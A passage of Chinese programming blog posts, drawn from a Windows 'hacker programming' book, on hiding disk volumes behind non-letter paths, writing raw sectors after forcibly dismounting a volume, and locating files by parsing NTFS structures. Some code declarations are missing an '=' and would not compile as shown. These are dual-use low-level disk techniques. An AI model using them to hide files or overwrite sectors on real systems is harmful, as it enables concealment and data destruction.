    使用 DefineDosDevice 创建隐藏磁盘// 创建隐藏盘符BOOL CreateHideVolume(char *lpszDosPath){ // 创建隐藏盘符,对于非字母盘符,在"我的电脑"里是不可见的,只有程序可以访问 if (::DefineDosDevice(DDD_RAW_TARGET_PATH, MY_HIDEN_DRIVER, lpszDosPath)) { return TRUE; } return FALSE;}
    删除隐藏磁盘路径// 删除 1:DeleteHideVolume(szDosPath);// 删除 2:HideValume("2:\\");
    程序测试我们在 main 函数中,调用上述封装好的函数进行测试。首先,我们先获取将要隐藏磁盘对应的卷名以及 Dos 路径。然后,我们开始删除卷加载点,实现磁盘的隐藏。接着,我们使用 DefineDosDeivce 的方法创建一个非字母驱动器路径 1:,并拷贝 520.exe 文件到非字符驱动器路径的根目录下 1:\ ,测试非字母路径能否正常访问。然后,我们使用 SetVolumeMountPoint 创建一个非字母的驱动器 2:\,并拷贝 520.exe 文件到非字符驱动器路径的根目录下 2:\ ,测试非字母路径能否正常访问。最后,我们便删除上述两种方法创建的非字母驱动器号路径,并恢复正确的磁盘路径,显示磁盘。
    int _tmain(int argc, _TCHAR* argv[]){ char szVolumeName[MAX_PATH] = { 0 }; char szDosPath[MAX_PATH] = { 0 }; // 获取磁盘对应的卷名 ::GetVolumeNameForVolumeMountPoint("E:\\", szVolumeName, MAX_PATH); // 获取磁盘路径对应的Dos路径 ::QueryDosDevice("E:", szDosPath, MAX_PATH); // 删除卷加载点来实现磁盘隐藏 HideValume("E:\\"); system("pause"); // 使用 DefineDosDevice 创建一个非字母驱动器号的磁盘路径 1: CreateHideVolume(szDosPath); system("pause"); // 复制文件到隐藏磁盘 if (FALSE == ::CopyFile("520.exe", "1:\\520__111111.exe", FALSE)) { printf("copy file error[%d].\n", ::GetLastError()); } printf("copy file ok.\n"); system("pause"); // 使用 SetVolumeMountPoint 创建一个非字母驱动器号的磁盘路径 2: ShowValume("2:\\", szVolumeName); system("pause"); // 复制文件到隐藏磁盘 if (FALSE == ::CopyFile("520.exe", "2:\\520_22222222.exe", FALSE)) { printf("copy file error[%d].\n", ::GetLastError()); } printf("copy file ok.\n"); system("pause"); // 删除 1: DeleteHideVolume(szDosPath); // 删除 2: HideValume("2:\\"); // 恢复正确磁盘路径 ShowValume("E:\\", szVolumeName); system("pause"); return 0;}
    我们以管理员权限运行程序,测试结果正确:


    总结要注意的是,程序是需要管理员或者管理员以上权限才可以正常执行。同时,也需要理解上述的两种方法实现的对隐藏磁盘数据文件的读写。理解 DefineDosDevice 和 SetVolumeMountPoint 函数的参数含义以及具体的使用方法。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2018-12-19 21:17:03
  • 编程实现对硬盘全盘数据进行读写数据擦除

    背景在 XP 系统下下,我们可以直接调用 WirteFile 函数对磁盘写入数据,但到了 Windows 7 以及 Windows 7 版本以上的系统,就已经开始变得不那么简单了。
    在 Windows 7 及以上版本中,对文件系统和存储堆栈进行的更改,限制对磁盘和卷的直接访问,但是,在以下情况,存储驱动器可以写入磁盘句柄:

    正要写入的扇区不位于卷内(空隙块与分区表)。注意:程序使用卷之外的扇区来存储元数据。分区表也位于卷之外的扇区中。由于这些扇区不受任何文件系统的控制,因此没有理由阻止对这些扇区的访问
    已经通过锁定请求或卸载请求显式锁定卷
    正要写入的扇区位于未安装或者无文件系统的卷内(这个是原生磁盘块,没有受操作系统的管理,当然可以随便写)

    本文介绍的是使用第 2 种方法,通过锁定请求或卸载请求显式锁定卷来实现对磁盘数据的读写。现在把实现过程的实现原理整理成文档,分享给大家。
    实现原理我们对于磁盘空隙块与分区表等磁盘位置是可以像 XP 系统那样直接使用 WriteFile 函数写的,但对于盘的数据区的写入则应该采用显式锁定的已安装卷或卸载请求显式锁定卷。
    一般是采用 FSCTL_DISMOUNT_VOLUME,FSCTL_LOCK_VOLUME 的前提是没有程序占用该盘的文件,所以可能会失败,FSCTL_DISMOUNT_VOLUME 是强制型的,当我们强制卸载请求显式锁定卷后,一些正在占用磁盘的程序会出现崩溃,原因是它不能读盘上资源。但是,要注意的是,对于FSCTL_DISMOUNT_VOLUME, 如果指定的卷是系统卷或包含页面文件,则操作失败,所以不能对系统盘强制卸载成功。
    首先,我们先介绍第一种方式:锁定请求显式锁定卷。

    首先,我们使用 CreateFile 打开逻辑卷,获取句柄
    然后,我们就可以使用 DeviceIoControl 传递 FSCTL_LOCK_VOLUME 控制码,锁定请求显式锁定卷
    那么,这时,我们就可以通过 SetFilePointer 一定文件指针,使用 WriteFile 函数对磁盘数据进行写入
    写入完成后,还需使用 DeviceIoControl 传递 FSCTL_UNLOCK_VOLUME 控制码,解锁请求显式锁定卷
    最后,我们便可以关闭文件句柄,完成操作

    然后,我们介绍第二种方式:卸载请求显式锁定卷。

    首先,我们使用 CreateFile 打开逻辑卷,获取句柄
    然后,我们就可以使用 DeviceIoControl 传递 FSCTL_DISMOUNT_VOLUME 控制码,卸载请求显式锁定卷
    那么,这时,我们就可以通过 SetFilePointer 一定文件指针,使用 WriteFile 函数对磁盘数据进行写入
    最后,我们便可以关闭文件句柄,完成操作

    这就是本文介绍的两种方法。要注意,使用CreateFile打开设备的时候,名称不能为\\\\.\\PHYSICALDRIVEn(n为0-256),即物理磁盘,只能对逻辑分区锁定与卸载操作。而且,这两种方法,都不能对系统盘进行操作。
    编码实现数据读取// 读取指定扇区数据BOOL ReadDisk(char cDriver, ULONGLONG ullOffsetSector, BYTE *pData){ DWORD dwRet = 0; BOOL bRet = FALSE; char szDriver[MAX_PATH] = { 0 }; // \\\\.\\C: ::wsprintf(szDriver, "\\\\.\\%c:", cDriver); // 打开硬盘物理设备 HANDLE hDisk = ::CreateFile(szDriver, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hDisk) { ShowError("CreateFile"); return FALSE; } // 移动文件指针到指定扇区偏移 LARGE_INTEGER li = { 0 }; li.QuadPart = SECTOR_SIZE * ullOffsetSector; ::SetFilePointer(hDisk, li.LowPart, &li.HighPart, FILE_BEGIN); // 读取数据 bRet = ::ReadFile(hDisk, pData, SECTOR_SIZE, &dwRet, NULL); if (FALSE == bRet) { ShowError("ReadFile"); return FALSE; } // 关闭句柄 ::CloseHandle(hDisk); return TRUE;}
    锁定请求显式锁定卷方式写入数据// 写入指定扇区数据 方法一 锁定请求显式锁定卷BOOL WriteDisk_Lock(char cDriver, ULONGLONG ullOffsetSector, BYTE *pData){ DWORD dwRet = 0; BOOL bRet = FALSE; char szDriver[MAX_PATH] = { 0 }; // \\\\.\\C: ::wsprintf(szDriver, "\\\\.\\%c:", cDriver); // 打开硬盘物理设备 // 这里名称不能为\\\\.\\PHYSICALDRIVEn(n为0-256),即物理磁盘,只能对逻辑分区锁定与DISMOUNT操作 HANDLE hDisk = ::CreateFile(szDriver, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hDisk) { ShowError("CreateFile"); return FALSE; } // 锁定请求显式锁定卷 bRet = ::DeviceIoControl(hDisk, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwRet, NULL); if (FALSE == bRet) { ShowError("DeivceIoControl"); return FALSE; } // 移动文件指针到指定扇区偏移 LARGE_INTEGER li = { 0 }; li.QuadPart = SECTOR_SIZE * ullOffsetSector; ::SetFilePointer(hDisk, li.LowPart, &li.HighPart, FILE_BEGIN); // 写入数据 bRet = ::WriteFile(hDisk, pData, SECTOR_SIZE, &dwRet, NULL); if (FALSE == bRet) { ShowError("WriteFile"); return FALSE; } // 解锁请求显式锁定卷 bRet = ::DeviceIoControl(hDisk, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwRet, NULL); if (FALSE == bRet) { ShowError("DeivceIoControl"); return FALSE; } // 关闭句柄 ::CloseHandle(hDisk); return TRUE;}
    卸载请求显式锁定卷方式写入数据// 写入指定扇区数据 方法二 卸载请求显式锁定卷BOOL WriteDisk_Dismount(char cDriver, ULONGLONG ullOffsetSector, BYTE *pData){ DWORD dwRet = 0; BOOL bRet = FALSE; char szDriver[MAX_PATH] = { 0 }; // \\\\.\\C: ::wsprintf(szDriver, "\\\\.\\%c:", cDriver); // 打开硬盘物理设备 // 这里名称不能为\\\\.\\PHYSICALDRIVEn(n为0-256),即物理磁盘,只能对逻辑分区锁定与DISMOUNT操作 HANDLE hDisk = ::CreateFile(szDriver, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_ARCHIVE, NULL); if (INVALID_HANDLE_VALUE == hDisk) { ShowError("CreateFile"); return FALSE; } // 卸载请求显式锁定卷 bRet = ::DeviceIoControl(hDisk, FSCTL_DISMOUNT_VOLUME, NULL, 0, NULL, 0, &dwRet, NULL); if (FALSE == bRet) { ShowError("DeivceIoControl"); return FALSE; } // 移动文件指针到指定扇区偏移 LARGE_INTEGER li = { 0 }; li.QuadPart = SECTOR_SIZE * ullOffsetSector; ::SetFilePointer(hDisk, li.LowPart, &li.HighPart, FILE_BEGIN); // 写入数据 bRet = ::WriteFile(hDisk, pData, SECTOR_SIZE, &dwRet, NULL); if (FALSE == bRet) { ShowError("WriteFile"); return FALSE; } // 关闭句柄 ::CloseHandle(hDisk); return TRUE;}
    程序测试我们在 main 函数中调用上面的函数进行测试,向非系统盘 E 盘读取并使用 3 种方式写入数据,测试结果如下所示:


    数据读取成功,直接调用 WriteFile 函数写入数据方式失败;使用锁定请求显式锁定卷方式失败;使用卸载请求显式锁定卷方式成功。
    总结要注意两点:一是使用 CreateFile 打开设备的时候,名称不能为\\\\.\\PHYSICALDRIVEn(n为0-256),即物理磁盘,只能对逻辑分区锁定与卸载操作。二是,本文介绍的这两种方法,都不能对系统盘进行操作。
    参考参考自《Windows黑客编程技术详解》一书
    1 回答 2018-12-19 09:33:30
  • 编程实现根据NTFS文件系统定位文件在磁盘上的偏移地址

    背景之前在上一篇博文中 “NTFS文件系统介绍及文件定位” 介绍过 NTFS 的基础概念和常用格式介绍,同时还详细给出了使用 NTFS 定位磁盘文件的例子。现在,这篇文章讲解的就是,编程实现 NTFS 文件定位。也就是把之前手动定位全部改成编程实现,输入一个文件路径,就可以得到文件的大小和数据在磁盘上的偏移地址。
    现在,就把实现的过程整理成文档,分享给大家。如果你之前没有了解过 NTFS 的相关概念,可以先阅读之前写的 “NTFS文件系统介绍及文件定位” 这篇文章。
    实现原理使用 NTFS 文件系统来定位文件,原理如下:

    首先打开磁盘,获取磁盘的分区引导扇区 DBR 中的数据。根据 DBR 的数据含义,从中获取扇区大小、簇大小以及\$MFT住文件记录的起始簇号
    根据根目录文件记录,一般处于 5 号文件,而且每个文件记录大小为 2 个扇区大小的知识前提。我们可以计算出,根目录文件记录的偏移地址。得到根目录文件记录偏移地址,就可以来到了磁盘文件根目录下了
    然后,我们根据文件记录头的数据格式,获取第一个属性的偏移位置,然后在获取属性的大小,以此计算出下一个属性的偏移位置。这样就可以对文件记录中的属性进行遍历了。我们按照 90H属性、A0H属性的处理顺序进行处理,获取文件或者目录的的$MFT参考号,然后继续跳转到下一个文件记录,重复处理 90H属性、A0H属性,获取文件或者目录的的$MFT参考号,直到获取到最终的文件
    这时,我们就可以根据 80H 属性获取文件数据的偏移位置

    这样文件定位就结束了。其中,我们需要继续介绍 90H 属性的处理过程、A0H属性的处理过程以及使用 80H 属性 定位文件数据偏移的过程。
    90H 属性的处理就是,直接扫描 90H 属性的数据,判断有没有我们要定位的文件或者目录的名称,若有,则获取该文件或者目录的\$MTF文件参考号;若没有,则不处理。
    A0H 属性的处理过程是:

    我们首先获取 Data Run 在属性中的偏移,然后从偏移中获取 Data Run 数据,并跳转到 Data Run 指向的偏移地址
    跳转到 Data Run 指向的偏移地址,便到了 INDX 索引。然后,我们就扫描 INDX 的数据,判断有没有我们要定位的文件或者目录的名称。若没有,则继续退出。若有,则获取该文件或者目录的\$MTF文件参考号
    如果有多个Data Run,则重复上面操作,若没有,执行完毕后,就退出

    根据 80H 属性定位文件数据:

    首先,我们先根据$MTF文件参考号来到文件记录处,并获取 80H 属性的偏移
    然后,判断 80H 属性是常驻属性还是非常驻属性。若是常驻属性,则直接在 80H 属性中获取文件数据。若为非常驻属性,则需要获取 80H 属性的 Data Run 数据,那么,Data Run 中执行的地址就是数据内容的存储地址

    编码实现从DBR中获取扇区大小、簇大小、\$MFT起始簇号// 从DBR中获取数据:每个扇区字节数、每个簇的扇区数、原文件$MFT的起始簇号BOOL GetDataFromDBR(HANDLE hFile, WORD &wSizeOfSector, BYTE &bSizeOfCluster, LARGE_INTEGER &liClusterNumberOfMFT){ // 获取扇区大小(2)、簇大小(1)、$MFT起始簇号(8) BYTE bBuffer[512] = { 0 }; DWORD dwRead = 0; // 注意:数据读取的大小最小单位是扇区!!! ::SetFilePointer(hFile, 0, NULL, FILE_BEGIN); ::ReadFile(hFile, bBuffer, 512, &dwRead, NULL); wSizeOfSector = MAKEWORD(bBuffer[0x0B], bBuffer[0x0C]); bSizeOfCluster = bBuffer[0x0D]; liClusterNumberOfMFT.LowPart = MAKELONG(MAKEWORD(bBuffer[0x30], bBuffer[0x31]), MAKEWORD(bBuffer[0x32], bBuffer[0x33])); liClusterNumberOfMFT.HighPart = MAKELONG(MAKEWORD(bBuffer[0x34], bBuffer[0x35]), MAKEWORD(bBuffer[0x36], bBuffer[0x37])); return TRUE;}
    文件定位// 定位文件BOOL LocationFile(HANDLE hFile, char *lpszFilePath, WORD wSizeOfSector, BYTE bSizeOfCluster, LARGE_INTEGER liMFTOffset, LARGE_INTEGER &liRootOffset){ BYTE bBuffer[1024] = { 0 }; DWORD dwRead = 0; // 分割文件路径 char szNewFile[MAX_PATH] = { 0 }; ::lstrcpy(szNewFile, (lpszFilePath + 3)); char szDelim[] = "\\"; char *lpResult = strtok(szNewFile, szDelim); BYTE bUnicode[MAX_PATH] = { 0 }; while (NULL != lpResult) { BOOL bFlag = FALSE; DWORD dwNameOffset = 0; // 将分割的目录转换成2字节表示的Unicode数据 DWORD dwLen = ::lstrlen(lpResult); ::RtlZeroMemory(bUnicode, MAX_PATH); for (DWORD i = 0, j = 0; i < dwLen; i++) { bUnicode[j++] = lpResult[i]; bUnicode[j++] = 0; } // 读取目录的数据,大小为1KB ::SetFilePointer(hFile, liRootOffset.LowPart, &liRootOffset.HighPart, FILE_BEGIN); ::ReadFile(hFile, bBuffer, 1024, &dwRead, NULL); // 获取第一个属性的偏移 WORD wAttributeOffset MAKEWORD(bBuffer[0x14], bBuffer[0x15]); // 遍历文件目录的属性 DWORD dwAttribute = 0; DWORD dwSizeOfAttribute = 0; while (TRUE) { if (bFlag) { break; } // 获取当前属性 dwAttribute = MAKELONG(MAKEWORD(bBuffer[wAttributeOffset], bBuffer[wAttributeOffset + 1]), MAKEWORD(bBuffer[wAttributeOffset + 2], bBuffer[wAttributeOffset + 3])); // 判断属性 if (0x90 == dwAttribute) { bFlag = HandleAttribute_90(bBuffer, wAttributeOffset, bUnicode, dwLen, liMFTOffset, liRootOffset); } else if (0xA0 == dwAttribute) { bFlag = HandleAttribute_A0(hFile, bBuffer, wSizeOfSector, bSizeOfCluster, wAttributeOffset, bUnicode, dwLen, liMFTOffset, liRootOffset); } else if (0xFFFFFFFF == dwAttribute) { bFlag = TRUE; break; } // 获取当前属性的大小 dwSizeOfAttribute = MAKELONG(MAKEWORD(bBuffer[wAttributeOffset + 4], bBuffer[wAttributeOffset + 5]), MAKEWORD(bBuffer[wAttributeOffset + 6], bBuffer[wAttributeOffset + 7])); // 计算下一属性的偏移 wAttributeOffset = wAttributeOffset + dwSizeOfAttribute; } // 继续分割目录 lpResult = strtok(NULL, szDelim); } return TRUE;}
    处理90H属性// 0x90属性的处理BOOL HandleAttribute_90(BYTE *lpBuffer, WORD wAttributeOffset, BYTE *lpUnicode, DWORD dwLen, LARGE_INTEGER liMFTOffset, LARGE_INTEGER &liRootOffset){ // 先遍历判断0x90属性里是否有此目录或文件(UNICODE) // 获取当前属性的大小 DWORD dwSizeOfAttribute = MAKELONG(MAKEWORD(lpBuffer[wAttributeOffset + 4], lpBuffer[wAttributeOffset + 5]), MAKEWORD(lpBuffer[wAttributeOffset + 6], lpBuffer[wAttributeOffset + 7])); for (DWORD i = 0; i < dwSizeOfAttribute; i++) { if (CompareMemory(lpUnicode, (lpBuffer + wAttributeOffset + i), 2 * dwLen)) { DWORD dwNameOffset = wAttributeOffset + i; // 计算文件号 dwNameOffset = dwNameOffset / 8; dwNameOffset = 8 * dwNameOffset; dwNameOffset = dwNameOffset - 0x50; // 获取文件号(6) LARGE_INTEGER liNumberOfFile; liNumberOfFile.LowPart = MAKELONG(MAKEWORD(lpBuffer[dwNameOffset], lpBuffer[dwNameOffset + 1]), MAKEWORD(lpBuffer[dwNameOffset + 2], lpBuffer[dwNameOffset + 3])); liNumberOfFile.HighPart = MAKELONG(MAKEWORD(lpBuffer[dwNameOffset + 4], lpBuffer[dwNameOffset + 5]), 0); // 计算文件号的偏移,文件号是相对$MFT为偏移说的 liRootOffset = liNumberOfFile; liRootOffset.QuadPart = liMFTOffset.QuadPart + liRootOffset.QuadPart * 0x400; return TRUE; } } // 读取Data Run List,去到索引处INDX遍历UNICODE,获取文件号 return FALSE;}
    处理A0H属性// 0xA0属性的处理BOOL HandleAttribute_A0(HANDLE hFile, BYTE *lpBuffer, WORD wSizeOfSector, BYTE bSizeOfCluster, WORD wAttributeOffset, BYTE *lpUnicode, DWORD dwLen, LARGE_INTEGER liMFTOffset, LARGE_INTEGER &liRootOffset){ // 读取Data Run List,去到索引处INDX遍历UNICODE,获取文件号 DWORD dwCount = 0; LONGLONG llClusterOffet = 0; // 获取索引号的偏移 WORD wIndxOffset = MAKEWORD(lpBuffer[wAttributeOffset + 0x20], lpBuffer[wAttributeOffset + 0x21]); // 读取Data Run List while (TRUE) { BYTE bTemp = lpBuffer[wAttributeOffset + wIndxOffset + dwCount]; // 读取Data Run List,分解并计算Data Run中的信息 BYTE bHi = bTemp >> 4; BYTE bLo = bTemp & 0x0F; if (0x0F == bHi || 0x0F == bLo || 0 == bHi || 0 == bLo) { break; } LARGE_INTEGER liDataRunSize, liDataRunOffset; liDataRunSize.QuadPart = 0; liDataRunOffset.QuadPart = 0; for (DWORD i = bLo; i > 0; i--) { liDataRunSize.QuadPart = liDataRunSize.QuadPart << 8; liDataRunSize.QuadPart = liDataRunSize.QuadPart | lpBuffer[wAttributeOffset + wIndxOffset + dwCount + i]; } if (0 == llClusterOffet) { // 第一个Data Run for (DWORD i = bHi; i > 0; i--) { liDataRunOffset.QuadPart = liDataRunOffset.QuadPart << 8; liDataRunOffset.QuadPart = liDataRunOffset.QuadPart | lpBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + i]; } } else { // 第二个及多个Data Run // 判断正负 if (0 != (0x80 & lpBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + bHi])) { // 负整数 for (DWORD i = bHi; i > 0; i--) { // 补码的原码=反码+1 liDataRunOffset.QuadPart = liDataRunOffset.QuadPart << 8; liDataRunOffset.QuadPart = liDataRunOffset.QuadPart | (BYTE)(~lpBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + i]); } liDataRunOffset.QuadPart = liDataRunOffset.QuadPart + 1; liDataRunOffset.QuadPart = 0 - liDataRunOffset.QuadPart; } else { // 正整数 for (DWORD i = bHi; i > 0; i--) { liDataRunOffset.QuadPart = liDataRunOffset.QuadPart << 8; liDataRunOffset.QuadPart = liDataRunOffset.QuadPart | lpBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + i]; } } } // 注意加上上一个Data Run的逻辑簇号(第二个Data Run可能是正整数、也可能是负整数(补码表示), 可以根据最高位是否为1来判断, 若为1, 则是负整数, 否则是正整数) liDataRunOffset.QuadPart = llClusterOffet + liDataRunOffset.QuadPart; llClusterOffet = liDataRunOffset.QuadPart; // 去到索引处INDX遍历UNICODE,获取文件号 LARGE_INTEGER liIndxOffset, liIndxSize; liIndxOffset.QuadPart = liDataRunOffset.QuadPart * bSizeOfCluster * wSizeOfSector; liIndxSize.QuadPart = liDataRunSize.QuadPart * bSizeOfCluster * wSizeOfSector; // 读取索引的数据,大小为1KB BYTE *lpBuf = new BYTE[liIndxSize.QuadPart]; DWORD dwRead = 0; ::SetFilePointer(hFile, liIndxOffset.LowPart, &liIndxOffset.HighPart, FILE_BEGIN); ::ReadFile(hFile, lpBuf, liIndxSize.LowPart, &dwRead, NULL); // 遍历Unicode数据 for (DWORD i = 0; i < liIndxSize.LowPart; i++) { if (CompareMemory(lpUnicode, (lpBuf + i), 2 * dwLen)) { DWORD dwNameOffset = i; // 计算文件号 dwNameOffset = dwNameOffset / 8; dwNameOffset = 8 * dwNameOffset; dwNameOffset = dwNameOffset - 0x50; // 获取文件号(6) LARGE_INTEGER liNumberOfFile; liNumberOfFile.LowPart = MAKELONG(MAKEWORD(lpBuf[dwNameOffset], lpBuf[dwNameOffset + 1]), MAKEWORD(lpBuf[dwNameOffset + 2], lpBuf[dwNameOffset + 3])); liNumberOfFile.HighPart = MAKELONG(MAKEWORD(lpBuf[dwNameOffset + 4], lpBuf[dwNameOffset + 5]), 0); // 计算文件号的偏移,文件号是相对$MFT为偏移说的 liRootOffset = liNumberOfFile; liRootOffset.QuadPart = liMFTOffset.QuadPart + liRootOffset.QuadPart * 0x400; return TRUE; } } delete[]lpBuf; lpBuf = NULL; // 计算下一个Data Run List偏移 dwCount = dwCount + bLo + bHi + 1; } return FALSE;}
    读取文件数据内容偏移BOOL FileContentOffset(HANDLE hFile, WORD wSizeOfSector, BYTE bSizeOfCluster, LARGE_INTEGER liMFTOffset, LARGE_INTEGER liRootOffset){ BYTE bBuffer[1024] = { 0 }; DWORD dwRead = 0; LARGE_INTEGER liContenOffset = liRootOffset; // 读取目录的数据,大小为1KB ::SetFilePointer(hFile, liRootOffset.LowPart, &liRootOffset.HighPart, FILE_BEGIN); ::ReadFile(hFile, bBuffer, 1024, &dwRead, NULL); // 获取第一个属性的偏移 WORD wAttributeOffset MAKEWORD(bBuffer[0x14], bBuffer[0x15]); // 遍历文件目录的属性 DWORD dwAttribute = 0; DWORD dwSizeOfAttribute = 0; while (TRUE) { // 获取当前属性 dwAttribute = MAKELONG(MAKEWORD(bBuffer[wAttributeOffset], bBuffer[wAttributeOffset + 1]), MAKEWORD(bBuffer[wAttributeOffset + 2], bBuffer[wAttributeOffset + 3])); // 判断属性 if (0x80 == dwAttribute) { // 读取偏移0x8出1字节,判断是否是常驻属性 BYTE bFlag = bBuffer[wAttributeOffset + 0x8]; if (0 == bFlag) // 常驻 { // 读取偏移0x14出2字节,即是内容的偏移 WORD wContenOffset = MAKEWORD(bBuffer[wAttributeOffset + 0x14], bBuffer[wAttributeOffset + 0x15]); liContenOffset.QuadPart = liContenOffset.QuadPart + wAttributeOffset + wContenOffset; printf("File Content Offset:0x%llx\n\n", liContenOffset.QuadPart); } else // 非常驻 { // 读取偏移0x20出2字节,即是数据运行列表偏移 DWORD dwCount = 0; LONGLONG llClusterOffet = 0; // 获取索引号的偏移 WORD wIndxOffset = MAKEWORD(bBuffer[wAttributeOffset + 0x20], bBuffer[wAttributeOffset + 0x21]); // 读取Data Run List while (TRUE) { BYTE bTemp = bBuffer[wAttributeOffset + wIndxOffset + dwCount]; // 读取Data Run List,分解并计算Data Run中的信息 BYTE bHi = bTemp >> 4; BYTE bLo = bTemp & 0x0F; if (0x0F == bHi || 0x0F == bLo || 0 == bHi || 0 == bLo) { break; } LARGE_INTEGER liDataRunSize, liDataRunOffset; liDataRunSize.QuadPart = 0; liDataRunOffset.QuadPart = 0; for (DWORD i = bLo; i > 0; i--) { liDataRunSize.QuadPart = liDataRunSize.QuadPart << 8; liDataRunSize.QuadPart = liDataRunSize.QuadPart | bBuffer[wAttributeOffset + wIndxOffset + dwCount + i]; } if (0 == llClusterOffet) { // 第一个Data Run for (DWORD i = bHi; i > 0; i--) { liDataRunOffset.QuadPart = liDataRunOffset.QuadPart << 8; liDataRunOffset.QuadPart = liDataRunOffset.QuadPart | bBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + i]; } } else { // 第二个及多个Data Run // 判断正负 if (0 != (0x80 & bBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + bHi])) { // 负整数 for (DWORD i = bHi; i > 0; i--) { // 补码的原码=反码+1 liDataRunOffset.QuadPart = liDataRunOffset.QuadPart << 8; liDataRunOffset.QuadPart = liDataRunOffset.QuadPart | (BYTE)(~bBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + i]); } liDataRunOffset.QuadPart = liDataRunOffset.QuadPart + 1; liDataRunOffset.QuadPart = 0 - liDataRunOffset.QuadPart; } else { // 正整数 for (DWORD i = bHi; i > 0; i--) { liDataRunOffset.QuadPart = liDataRunOffset.QuadPart << 8; liDataRunOffset.QuadPart = liDataRunOffset.QuadPart | bBuffer[wAttributeOffset + wIndxOffset + dwCount + bLo + i]; } } } // 注意加上上一个Data Run的逻辑簇号(第二个Data Run可能是正整数、也可能是负整数(补码表示), 可以根据最高位是否为1来判断, 若为1, 则是负整数, 否则是正整数) liDataRunOffset.QuadPart = llClusterOffet + liDataRunOffset.QuadPart; llClusterOffet = liDataRunOffset.QuadPart; // 显示逻辑簇号和大小 liContenOffset.QuadPart = liDataRunOffset.QuadPart*wSizeOfSector*bSizeOfCluster; printf("File Content Offset:0x%llx\nFile Content Size:0x%llx\n", liContenOffset.QuadPart, (liDataRunSize.QuadPart*wSizeOfSector*bSizeOfCluster)); // 计算下一个Data Run List偏移 dwCount = dwCount + bLo + bHi + 1; } } } else if (0xFFFFFFFF == dwAttribute) { break; } // 获取当前属性的大小 dwSizeOfAttribute = MAKELONG(MAKEWORD(bBuffer[wAttributeOffset + 4], bBuffer[wAttributeOffset + 5]), MAKEWORD(bBuffer[wAttributeOffset + 6], bBuffer[wAttributeOffset + 7])); // 计算下一属性的偏移 wAttributeOffset = wAttributeOffset + dwSizeOfAttribute; } return TRUE;}
    程序测试我们在 main 函数中调用上述封装好的函数,定位文件:H:\NtfsTest\520.exe,成功定位文件:

    总结这个程序需要管理员权限运行,因为我们使用 CreateFile 函数打开磁盘,这一步操作,需要权限才可操作成功。
    这个程序实现起来不是很难,关键是理解起来并不是那么容易。需要大家对 NTFS 要有足够的了解,熟练地使用掌握 80H属性、90H属性、A0H属性的数据含义,同时,还需要了解 Data Run 的分析。还是建议大家先阅读之前写的 “NTFS文件系统介绍及文件定位” 这篇文章,这里提到的知识点,都在这个程序中体现了。
    参考参考自《Windows黑客编程技术详解》一书
    2 回答 2018-12-13 12:53:58
  • NTFS文件系统介绍及文件定位

    背景在日常生活中,我们打开我们的电脑操作各种文件。我们都知道,文件数据都存储在硬盘上,但是,硬盘中存储的数据都是0、1的二进制数据,我们的电脑怎么从这一大堆0、1数据中知道哪个是哪个文件呢?
    这就是文件系统在起作用,它对硬盘的数据设置格式规则,存储数据的时候,就按这个存储规则进行存储,那么,在读取数据文件的时候,再按照相应规则读取还原数据,就形成了我们看到的文件了。
    现在,本文就介绍目前比较流行的 NTFS 文件系统及其格式定义,并给出一个使用 NTFS 文件系统进行文件定位的例子,模拟 NTFS 定位文件的过程原理。我把分析过程整理成文档,分享给大家。
    NTFS介绍NTFS 文件系统概念文件系统是操作系统用于明确磁盘或分区上的文件的方法和数据结构,即在磁盘上组织文件的方法。文件系统是对应硬盘的分区的,而不是整个硬盘,不管是硬盘只有一个分区,还是几个分区,不同的分区可以有着不同的文件系统。
    NTFS(New Technology File System)是运行在 Windows NT 操纵系统环境和Windows NT 高级服务器网络操作环境的文件系统,随着 Windows NT 操作系统的诞生而产生。NTFS 文件系统具有安全性高、稳定性好、不易产生文件碎片的优点,使得它成为主流的文件系统。
    NTFS 文件系统相关概念
    分区:分区是磁盘的基本组成部分,被划分的磁盘一部分
    卷:NTFS以卷为基础,卷建立在分区的基础上,当以NTFS来格式化磁盘分区时就创建了一个卷
    簇:NTFS使用簇作为磁盘空间的分配和回收的基本单位
    逻辑簇号(LCN):对卷中所有的簇从头至尾进行编号
    虚拟簇号(VCN):对于文件内的所有簇进行编号
    主文件表(\$MFT):$MFT是卷的核心,存放着卷中所有数据,包括:定位和恢复文件的数据结构、引导程序数据和记录整个卷的分配分配状态的位图等
    文件记录:NTFS不是将文件仅仅视为一个文本库或二进制数据,而是将文件作为许多属性和属性值的集合来处理;每个文件或文件夹在元文件\$MFT均有一个文件记录号
    常驻属性:文件属性值能直接存储在$MFT记录中
    非常驻属性:不能直接存储在\$MFT记录中,需要在\$MFT之外为其分配空间进行存储

    NTFS数据存放方式
    NTFS 文件系统以文件的形式来对数据进行管理,以簇为单位来存储数据的。在NTFS里边的分区的簇大小的规律:

    如果分区小于512M ,簇大小1扇区
    如果分区大于512M小于1G,簇大小为2个扇区
    如果分区大于1G小于2G,簇大小为4个扇区
    如果分区大于2GB,簇大小为8个扇区

    NTFS常见元文件列表
    分区引导扇区 DBR$Boot元文件由分区的第一个扇区(即 DBR)和后面的 15 个扇区(即 NTLDR 区域)组成,其中 DBR 由“跳转指令”、“OEM代号”、“BPB”、“引导程序”和“结束标志”组成:

    对于,DBR 部分的字段含义如下图所示。其中,我们需要重点关注每个扇区的字节总数、簇大小、\$MFT主文件记录表的开始簇号。

    文件记录在 NTFS 文件系统中,磁盘上的所有数据都是以文件的形式存储,其中包括元文件每个文件都有一个或多个文件记录,每个文件记录占用两个扇区,即 1024 字节。而 \$MFT 元文件就是专门记录每个文件的文件记录。
